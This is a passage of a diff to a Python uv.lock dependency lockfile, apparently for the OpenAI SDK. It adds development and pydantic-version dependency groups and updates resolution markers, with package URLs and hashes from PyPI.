{ url = "https://files.pythonhosted.org/packages/14/2f/967ba146e6d58cf6a652da73885f52fc68001525b4197effc174321d70b4/jmespath-1.1.0-py3-none-any.whl", hash = "sha256:a5663118de4908c91729bea0acadca56526eb2698e83de10cd116ae0f4e97c64", size = 20419, upload-time = "2026-01-22T16:35:24.919Z" },
]
+[[package]]
+name = "jsonschema"
+version = "4.25.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+ { name = "jsonschema-specifications" },
+ { name = "referencing" },
+ { name = "rpds-py" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/74/69/f7185de793a29082a9f3c7728268ffb31cb5095131a9c139a74078e27336/jsonschema-4.25.1.tar.gz", hash = "sha256:e4a9655ce0da0c0b67a085847e00a3a51449e1157f4f75e9fb5aa545e122eb85", size = 357342, upload-time = "2025-08-18T17:03:50.038Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/bf/9c/8c95d856233c1f82500c2450b8c68576b4cf1c871db3afac5c34ff84e6fd/jsonschema-4.25.1-py3-none-any.whl", hash = "sha256:3fba0169e345c7175110351d456342c364814cfcf3b964ba4587f22915230a63", size = 90040, upload-time = "2025-08-18T17:03:48.373Z" },
+]
+
+[[package]]
+name = "jsonschema-specifications"
+version = "2025.9.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "referencing" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/19/74/a633ee74eb36c44aa6d1095e7cc5569bebf04342ee146178e2d36600708b/jsonschema_specifications-2025.9.1.tar.gz", hash = "sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d", size = 32855, upload-time = "2025-09-08T01:34:59.186Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/41/45/1a4ed80516f02155c51f51e8cedb3c1902296743db0bbc66608a0db2814f/jsonschema_specifications-2025.9.1-py3-none-any.whl", hash = "sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe", size = 18437, upload-time = "2025-09-08T01:34:57.871Z" },
+]
+
+[[package]]
+name = "markdown-it-py"
+version = "3.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "mdurl" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/38/71/3b932df36c1a044d397a1f92d1cf91ee0a503d91e470cbd670aa66b07ed0/markdown-it-py-3.0.0.tar.gz", hash = "sha256:e3f60a94fa066dc52ec76661e37c851cb232d92f9886b15cb560aaada2df8feb", size = 74596, upload-time = "2023-06-03T06:41:14.443Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/42/d7/1ec15b46af6af88f19b8e5ffea08fa375d433c998b8a7639e76935c14f1f/markdown_it_py-3.0.0-py3-none-any.whl", hash = "sha256:355216845c60bd96232cd8d8c40e8f9765cc86f46880e43a8fd22dc1a1a8cab1", size = 87528, upload-time = "2023-06-03T06:41:11.019Z" },
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
+]
+
+[[package]]
+name = "msal"
+version = "1.34.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cryptography" },
+ { name = "pyjwt", extra = ["crypto"] },
+ { name = "requests" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/cf/0e/c857c46d653e104019a84f22d4494f2119b4fe9f896c92b4b864b3b045cc/msal-1.34.0.tar.gz", hash = "sha256:76ba83b716ea5a6d75b0279c0ac353a0e05b820ca1f6682c0eb7f45190c43c2f", size = 153961, upload-time = "2025-09-22T23:05:48.989Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/c2/dc/18d48843499e278538890dc709e9ee3dea8375f8be8e82682851df1b48b5/msal-1.34.0-py3-none-any.whl", hash = "sha256:f669b1644e4950115da7a176441b0e13ec2975c29528d8b9e81316023676d6e1", size = 116987, upload-time = "2025-09-22T23:05:47.294Z" },
+]
+
+[[package]]
+name = "msal-extensions"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "msal" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/01/99/5d239b6156eddf761a636bded1118414d161bd6b7b37a9335549ed159396/msal_extensions-1.3.1.tar.gz", hash = "sha256:c5b0fd10f65ef62b5f1d62f4251d51cbcaf003fcedae8c91b040a488614be1a4", size = 23315, upload-time = "2025-03-14T23:51:03.902Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/5e/75/bd9b7bb966668920f06b200e84454c8f3566b102183bc55c5473d96cb2b9/msal_extensions-1.3.1-py3-none-any.whl", hash = "sha256:96d3de4d034504e969ac5e85bae8106c8373b5c6568e4c8fa7af2eca9dbe6bca", size = 20583, upload-time = "2025-03-14T23:51:03.016Z" },
+]
+
[[package]]
name = "multidict"
version = "6.7.1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
- { name = "typing-extensions", marker = "python_full_version < '3.11'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
]
sdist = { url = "https://files.pythonhosted.org/packages/1a/c2/c2d94cbe6ac1753f3fc980da97b3d930efe1da3af3c9f5125354436c073d/multidict-6.7.1.tar.gz", hash = "sha256:ec6652a1bee61c53a3e5776b6049172c53b6aaba34f18c9ad04f82712bac623d", size = 102010, upload-time = "2026-01-26T02:46:45.979Z" }
wheels = [
@@ -746,6 +1139,63 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 12319, upload-time = "2026-01-26T02:46:44.004Z" },
]
+[[package]]
+name = "mypy"
+version = "1.17.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "mypy-extensions" },
+ { name = "pathspec" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/1e/e3/034322d5a779685218ed69286c32faa505247f1f096251ef66c8fd203b08/mypy-1.17.0.tar.gz", hash = "sha256:e5d7ccc08ba089c06e2f5629c660388ef1fee708444f1dee0b9203fa031dee03", size = 3352114, upload-time = "2025-07-14T20:34:30.181Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/6a/31/e762baa3b73905c856d45ab77b4af850e8159dffffd86a52879539a08c6b/mypy-1.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f8e08de6138043108b3b18f09d3f817a4783912e48828ab397ecf183135d84d6", size = 10998313, upload-time = "2025-07-14T20:33:24.519Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/c1/25b2f0d46fb7e0b5e2bee61ec3a47fe13eff9e3c2f2234f144858bbe6485/mypy-1.17.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce4a17920ec144647d448fc43725b5873548b1aae6c603225626747ededf582d", size = 10128922, upload-time = "2025-07-14T20:34:06.414Z" },
+ { url = "https://files.pythonhosted.org/packages/02/78/6d646603a57aa8a2886df1b8881fe777ea60f28098790c1089230cd9c61d/mypy-1.17.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6ff25d151cc057fdddb1cb1881ef36e9c41fa2a5e78d8dd71bee6e4dcd2bc05b", size = 11913524, upload-time = "2025-07-14T20:33:19.109Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/19/dae6c55e87ee426fb76980f7e78484450cad1c01c55a1dc4e91c930bea01/mypy-1.17.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93468cf29aa9a132bceb103bd8475f78cacde2b1b9a94fd978d50d4bdf616c9a", size = 12650527, upload-time = "2025-07-14T20:32:44.095Z" },
+ { url = "https://files.pythonhosted.org/packages/86/e1/f916845a235235a6c1e4d4d065a3930113767001d491b8b2e1b61ca56647/mypy-1.17.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98189382b310f16343151f65dd7e6867386d3e35f7878c45cfa11383d175d91f", size = 12897284, upload-time = "2025-07-14T20:33:38.168Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/dc/414760708a4ea1b096bd214d26a24e30ac5e917ef293bc33cdb6fe22d2da/mypy-1.17.0-cp310-cp310-win_amd64.whl", hash = "sha256:c004135a300ab06a045c1c0d8e3f10215e71d7b4f5bb9a42ab80236364429937", size = 9506493, upload-time = "2025-07-14T20:34:01.093Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/24/82efb502b0b0f661c49aa21cfe3e1999ddf64bf5500fc03b5a1536a39d39/mypy-1.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9d4fe5c72fd262d9c2c91c1117d16aac555e05f5beb2bae6a755274c6eec42be", size = 10914150, upload-time = "2025-07-14T20:31:51.985Z" },
+ { url = "https://files.pythonhosted.org/packages/03/96/8ef9a6ff8cedadff4400e2254689ca1dc4b420b92c55255b44573de10c54/mypy-1.17.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d96b196e5c16f41b4f7736840e8455958e832871990c7ba26bf58175e357ed61", size = 10039845, upload-time = "2025-07-14T20:32:30.527Z" },
+ { url = "https://files.pythonhosted.org/packages/df/32/7ce359a56be779d38021d07941cfbb099b41411d72d827230a36203dbb81/mypy-1.17.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:73a0ff2dd10337ceb521c080d4147755ee302dcde6e1a913babd59473904615f", size = 11837246, upload-time = "2025-07-14T20:32:01.28Z" },
+ { url = "https://files.pythonhosted.org/packages/82/16/b775047054de4d8dbd668df9137707e54b07fe18c7923839cd1e524bf756/mypy-1.17.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:24cfcc1179c4447854e9e406d3af0f77736d631ec87d31c6281ecd5025df625d", size = 12571106, upload-time = "2025-07-14T20:34:26.942Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/cf/fa33eaf29a606102c8d9ffa45a386a04c2203d9ad18bf4eef3e20c43ebc8/mypy-1.17.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3c56f180ff6430e6373db7a1d569317675b0a451caf5fef6ce4ab365f5f2f6c3", size = 12759960, upload-time = "2025-07-14T20:33:42.882Z" },
+ { url = "https://files.pythonhosted.org/packages/94/75/3f5a29209f27e739ca57e6350bc6b783a38c7621bdf9cac3ab8a08665801/mypy-1.17.0-cp311-cp311-win_amd64.whl", hash = "sha256:eafaf8b9252734400f9b77df98b4eee3d2eecab16104680d51341c75702cad70", size = 9503888, upload-time = "2025-07-14T20:32:34.392Z" },
+ { url = "https://files.pythonhosted.org/packages/12/e9/e6824ed620bbf51d3bf4d6cbbe4953e83eaf31a448d1b3cfb3620ccb641c/mypy-1.17.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f986f1cab8dbec39ba6e0eaa42d4d3ac6686516a5d3dccd64be095db05ebc6bb", size = 11086395, upload-time = "2025-07-14T20:34:11.452Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/51/a4afd1ae279707953be175d303f04a5a7bd7e28dc62463ad29c1c857927e/mypy-1.17.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:51e455a54d199dd6e931cd7ea987d061c2afbaf0960f7f66deef47c90d1b304d", size = 10120052, upload-time = "2025-07-14T20:33:09.897Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/71/19adfeac926ba8205f1d1466d0d360d07b46486bf64360c54cb5a2bd86a8/mypy-1.17.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3204d773bab5ff4ebbd1f8efa11b498027cd57017c003ae970f310e5b96be8d8", size = 11861806, upload-time = "2025-07-14T20:32:16.028Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/64/d6120eca3835baf7179e6797a0b61d6c47e0bc2324b1f6819d8428d5b9ba/mypy-1.17.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1051df7ec0886fa246a530ae917c473491e9a0ba6938cfd0ec2abc1076495c3e", size = 12744371, upload-time = "2025-07-14T20:33:33.503Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/dc/56f53b5255a166f5bd0f137eed960e5065f2744509dfe69474ff0ba772a5/mypy-1.17.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:f773c6d14dcc108a5b141b4456b0871df638eb411a89cd1c0c001fc4a9d08fc8", size = 12914558, upload-time = "2025-07-14T20:33:56.961Z" },
+ { url = "https://files.pythonhosted.org/packages/69/ac/070bad311171badc9add2910e7f89271695a25c136de24bbafc7eded56d5/mypy-1.17.0-cp312-cp312-win_amd64.whl", hash = "sha256:1619a485fd0e9c959b943c7b519ed26b712de3002d7de43154a489a2d0fd817d", size = 9585447, upload-time = "2025-07-14T20:32:20.594Z" },
+ { url = "https://files.pythonhosted.org/packages/be/7b/5f8ab461369b9e62157072156935cec9d272196556bdc7c2ff5f4c7c0f9b/mypy-1.17.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2c41aa59211e49d717d92b3bb1238c06d387c9325d3122085113c79118bebb06", size = 11070019, upload-time = "2025-07-14T20:32:07.99Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/f8/c49c9e5a2ac0badcc54beb24e774d2499748302c9568f7f09e8730e953fa/mypy-1.17.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0e69db1fb65b3114f98c753e3930a00514f5b68794ba80590eb02090d54a5d4a", size = 10114457, upload-time = "2025-07-14T20:33:47.285Z" },
+ { url = "https://files.pythonhosted.org/packages/89/0c/fb3f9c939ad9beed3e328008b3fb90b20fda2cddc0f7e4c20dbefefc3b33/mypy-1.17.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:03ba330b76710f83d6ac500053f7727270b6b8553b0423348ffb3af6f2f7b889", size = 11857838, upload-time = "2025-07-14T20:33:14.462Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/66/85607ab5137d65e4f54d9797b77d5a038ef34f714929cf8ad30b03f628df/mypy-1.17.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:037bc0f0b124ce46bfde955c647f3e395c6174476a968c0f22c95a8d2f589bba", size = 12731358, upload-time = "2025-07-14T20:32:25.579Z" },
+ { url = "https://files.pythonhosted.org/packages/73/d0/341dbbfb35ce53d01f8f2969facbb66486cee9804048bf6c01b048127501/mypy-1.17.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c38876106cb6132259683632b287238858bd58de267d80defb6f418e9ee50658", size = 12917480, upload-time = "2025-07-14T20:34:21.868Z" },
+ { url = "https://files.pythonhosted.org/packages/64/63/70c8b7dbfc520089ac48d01367a97e8acd734f65bd07813081f508a8c94c/mypy-1.17.0-cp313-cp313-win_amd64.whl", hash = "sha256:d30ba01c0f151998f367506fab31c2ac4527e6a7b2690107c7a7f9e3cb419a9c", size = 9589666, upload-time = "2025-07-14T20:34:16.841Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/fc/ee058cc4316f219078464555873e99d170bde1d9569abd833300dbeb484a/mypy-1.17.0-py3-none-any.whl", hash = "sha256:15d9d0018237ab058e5de3d8fce61b6fa72cc59cc78fd91f1b474bce12abf496", size = 2283195, upload-time = "2025-07-14T20:31:54.753Z" },
+]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" },
+]
+
+[[package]]
+name = "nodeenv"
+version = "1.9.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/43/16/fc88b08840de0e0a72a2f9d8c6bae36be573e475a6326ae854bcc549fc45/nodeenv-1.9.1.tar.gz", hash = "sha256:6ec12890a2dab7946721edbfbcd91f3319c6ccc9aec47be7c7e6b7011ee6645f", size = 47437, upload-time = "2024-06-04T18:44:11.171Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d2/1d/1b658dbd2b9fa9c4c9f32accbfc0205d532c8c6194dc0f2a4c0428e7128a/nodeenv-1.9.1-py2.py3-none-any.whl", hash = "sha256:ba11c9782d29c27c70ffbdda2d7415098754709be8a7056d79a737cd901155c9", size = 22314, upload-time = "2024-06-04T18:44:08.352Z" },
+]
+
[[package]]
name = "numpy"
version = "2.2.6"
@@ -819,9 +1269,12 @@ resolution-markers = [
"python_full_version >= '3.14' and sys_platform == 'win32'",
"python_full_version >= '3.14' and sys_platform == 'emscripten'",
"python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'win32'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform == 'emscripten'",
+ "python_full_version >= '3.12' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'win32'",
+ "python_full_version == '3.11.*' and sys_platform == 'emscripten'",
+ "python_full_version == '3.11.*' and sys_platform != 'emscripten' and sys_platform != 'win32'",
]
sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 20735807, upload-time = "2026-05-18T23:37:14.07Z" }
wheels = [
@@ -907,7 +1360,8 @@ dependencies = [
{ name = "distro" },
{ name = "httpx2" },
{ name = "jiter" },
- { name = "pydantic" },
+ { name = "pydantic", version = "1.10.26", source = { registry = "https://pypi.org/simple" }, marker = "extra == 'group-6-openai-pydantic-v1'" },
+ { name = "pydantic", version = "2.12.5", source = { registry = "https://pypi.org/simple" }, marker = "extra == 'group-6-openai-pydantic-v2' or extra != 'group-6-openai-pydantic-v1'" },
{ name = "sniffio" },
{ name = "typing-extensions" },
]
@@ -921,20 +1375,52 @@ bedrock = [
{ name = "urllib3" },
]
datalib = [
- { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
- { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
- { name = "pandas", version = "2.3.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
- { name = "pandas", version = "3.0.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
+ { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "pandas" },
]
realtime = [
{ name = "websockets" },
]
voice-helpers = [
- { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
- { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
+ { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
{ name = "sounddevice" },
]
+[package.dev-dependencies]
+build = [
+ { name = "hatch-fancy-pypi-readme" },
+ { name = "hatchling" },
+ { name = "packaging" },
+ { name = "pathspec" },
+ { name = "pluggy" },
+ { name = "tomli", marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "trove-classifiers" },
+]
+dev = [
+ { name = "azure-identity" },
+ { name = "botocore" },
+ { name = "griffe" },
+ { name = "inline-snapshot" },
+ { name = "jsonschema" },
+ { name = "mypy" },
+ { name = "pandas-stubs" },
+ { name = "pyright" },
+ { name = "pytest" },
+ { name = "pytest-asyncio" },
+ { name = "pytest-xdist" },
+ { name = "rich" },
+ { name = "ruff" },
+ { name = "trio" },
+]
+pydantic-v1 = [
+ { name = "pydantic", version = "1.10.26", source = { registry = "https://pypi.org/simple" } },
+]
+pydantic-v2 = [
+ { name = "pydantic", version = "2.12.5", source = { registry = "https://pypi.org/simple" } },
+]
+
[package.metadata]
requires-dist = [
{ name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
@@ -955,18 +1441,66 @@ requires-dist = [
]
provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
+[package.metadata.requires-dev]
+build = [
+ { name = "hatch-fancy-pypi-readme", specifier = "==25.1.0" },
+ { name = "hatchling", specifier = "==1.26.3" },
+ { name = "packaging", specifier = "==26.3" },
+ { name = "pathspec", specifier = "==1.1.1" },
+ { name = "pluggy", specifier = "==1.6.0" },
+ { name = "tomli", marker = "python_full_version < '3.11'", specifier = "==2.4.1" },
+ { name = "trove-classifiers", specifier = "==2026.6.1.19" },
+]
+dev = [
+ { name = "azure-identity", specifier = ">=1.14.1" },
+ { name = "botocore", specifier = "==1.42.97" },
+ { name = "griffe", specifier = ">=1" },
+ { name = "inline-snapshot", specifier = ">=0.28.0" },
+ { name = "jsonschema", specifier = ">=4.23.0" },
+ { name = "mypy", specifier = "==1.17" },
+ { name = "pandas-stubs", specifier = ">=1.1.0.11" },
+ { name = "pyright", specifier = "==1.1.399" },
+ { name = "pytest" },
+ { name = "pytest-asyncio" },
+ { name = "pytest-xdist", specifier = ">=3.6.1" },
+ { name = "rich", specifier = ">=13.7.1" },
+ { name = "ruff" },
+ { name = "trio", specifier = ">=0.22.2" },
+]
+pydantic-v1 = [{ name = "pydantic", specifier = ">=1.10.26,<2" }]
+pydantic-v2 = [{ name = "pydantic", specifier = ">=2,<3" }]
+
+[[package]]
+name = "outcome"
+version = "1.3.0.post0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "attrs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/98/df/77698abfac98571e65ffeb0c1fba8ffd692ab8458d617a0eed7d9a8d38f2/outcome-1.3.0.post0.tar.gz", hash = "sha256:9dcf02e65f2971b80047b377468e72a268e15c0af3cf1238e6ff14f7f91143b8", size = 21060, upload-time = "2023-10-26T04:26:04.361Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/55/8b/5ab7257531a5d830fc8000c476e63c935488d74609b50f9384a643ec0a62/outcome-1.3.0.post0-py2.py3-none-any.whl", hash = "sha256:e771c5ce06d1415e356078d3bdd68523f284b4ce5419828922b6871e65eda82b", size = 10692, upload-time = "2023-10-26T04:26:02.532Z" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/7d/fa/3944b40b07da9ce895c0e6303a5ab7d53da063554f534556b134a54d6093/packaging-26.3.tar.gz", hash = "sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79", size = 313412, upload-time = "2026-08-04T18:15:28.737Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/63/34/ba1c580383c9eada3711951fef0795c80b829a078d72188184bcab9dd527/packaging-26.3-py3-none-any.whl", hash = "sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c", size = 129956, upload-time = "2026-08-04T18:15:27.159Z" },
+]
+
[[package]]
name = "pandas"
version = "2.3.3"
source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
- "python_full_version < '3.11'",
-]
dependencies = [
- { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
- { name = "python-dateutil", marker = "python_full_version < '3.11'" },
- { name = "pytz", marker = "python_full_version < '3.11'" },
- { name = "tzdata", marker = "python_full_version < '3.11'" },
+ { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11' or (extra == 'group-6-openai-pydantic-v1' and extra == 'group-6-openai-pydantic-v2')" },
+ { name = "python-dateutil" },
+ { name = "pytz" },
+ { name = "tzdata" },
]
sdist = { url = "https://files.pythonhosted.org/packages/33/01/d40b85317f86cf08d853a4f495195c73815fdf205eef3993821720274518/pandas-2.3.3.tar.gz", hash = "sha256:e05e1af93b977f7eafa636d043f9f94c7ee3ac81af99c13508215942e64c993b", size = 4495223, upload-time = "2025-09-29T23:34:51.853Z" }
wheels = [
@@ -1020,71 +1554,35 @@ wheels = [
]
[[package]]
-name = "pandas"
-version = "3.0.3"
+name = "pandas-stubs"
+version = "2.2.2.240807"
source = { registry = "https://pypi.org/simple" }
-resolution-markers = [
- "python_full_version >= '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'win32'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform == 'emscripten'",
- "python_full_version >= '3.11' and python_full_version < '3.14' and sys_platform != 'emscripten' and sys_platform != 'win32'",
-]
dependencies = [
- { name = "numpy", version = "2.4.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" },
- { name = "python-dateutil", marker = "python_full_version >= '3.11'" },
- { name = "tzdata", marker = "(python_full_version >= '3.11' and sys_platform == 'emscripten') or (python_full_version >= '3.11' and sys_platform == 'win32')" },
-]
-sdist = { url = "https://files.pythonhosted.org/packages/f8/87/4341c6252d1c47b08768c3d25ac487362bf403f0313ddae4a2a26c9b1b4c/pandas-3.0.3.tar.gz", hash = "sha256:696a4a00a2a2a35d4e5deb3fc946641b96c944f02230e4f76137fe35d806c4fc", size = 4651414, upload-time = "2026-05-11T18:54:29.21Z" }
-wheels = [
- { url = "https://files.pythonhosted.org/packages/42/16/b5c76b838fd9bf6ce84d3a53346b8874ec05c5f0040d75ef2c320100cd2a/pandas-3.0.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:455f6f8139d4282188f526868dbc3c828470e88a3d9d59a891bd46a455f21b98", size = 10338495, upload-time = "2026-05-11T18:52:11.558Z" },
- { url = "https://files.pythonhosted.org/packages/5a/b0/a4ffc4ae74d2d822200dcc46898987d8eb6032d1e2b219cae39da6f5cbcc/pandas-3.0.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4e15135e2ee5df1063313e2425ceef8ac0f4ae775893815b0923651b806a5639", size = 9938250, upload-time = "2026-05-11T18:52:17.005Z" },
- { url = "https://files.pythonhosted.org/packages/2e/b2/3323601a52caee42c019e370090ca4544b241437240ca04f786cce82b0cf/pandas-3.0.3-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:05f1f1752b8533ea03f7f39a9c15b1a058d067bb48f4748948e7a8691e0510f2", size = 10770558, upload-time = "2026-05-11T18:52:19.865Z" },
